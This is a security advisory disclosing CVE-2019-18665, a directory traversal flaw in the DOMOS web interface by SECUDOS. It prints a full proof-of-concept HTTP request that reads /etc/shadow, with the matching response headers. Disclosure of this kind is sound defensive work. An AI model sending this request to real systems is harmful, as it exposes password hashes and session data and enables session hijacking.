CVE-2019-18665: Directory Traversal in DOMOS

Patrick Münch
, in 01 November 2019



DOMOS is an own and hardened operating system of SECUDOS GmbH. The operating system is used as a platform by several applications. It also offers a web interface for the administration of operating system settings.

Issue Description

While analyzing the implementation of the DOMOS web interface, one directory traversal vulnerability has been identified, which can be exploited in order to read session_id´s from other registered users and this can lead to a session hijacking of those users. This vulnerability can be exploited by authenticated attackers with access to the web interface.

Please consider the following complete HTTP-Request:


GET /page/sl_logdl?dcfct=DCMlog.download_log&dbkey%3Asyslog.rlog=/etc/shadow HTTP/1.1

Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36
(KHTML, like Gecko) Falkon/3.0.1 Chrome/69.0.3497.128 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,
Accept-Encoding: gzip, deflate
Accept-Language: de-DE,de;q=0.8
Cookie: L=german; S=WdylJWgYQfqXVu1VkvBP9pwxBdh91bhDWB87eB5h;

The following HTTP response include the password hashes from the /etc/shadow:


HTTP/1.1 200 OK

Server: nginx/1.9.14
Date: Thu, 24 Jan 2019 11:48:50 GMT
Content-Type: application/data
Content-Length: 870
Connection: close
Last-Modified: Thu, 24 Jan 2019 11:48:50 GMT
Content-Disposition: shadow; filename="shadow"
Set-Cookie: session_id=09bced960d7c7bb0cc15d28c7128b5bc86e7c611;
expires=Fri, 25 Jan 2019 04:27:50 GMT; httponly; Path=/; secure
Strict-Transport-Security: max-age=15768000
X-Frame-Options: sameorigin
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Permitted-Cross-Domain-Policies: master-only




CVSSv3 Base Score

CVSS Base Score: 6.5



Pascal Keul of SVA System Vertrieb Alexander GmbH

Patrick Muench of SVA System Vertrieb Alexander GmbH

Torsten Löbner of SVA System Vertrieb Alexander GmbH


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The contents of this advisory are copyright (c) 2019 SVA System Vertrieb Alexander GmbH and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.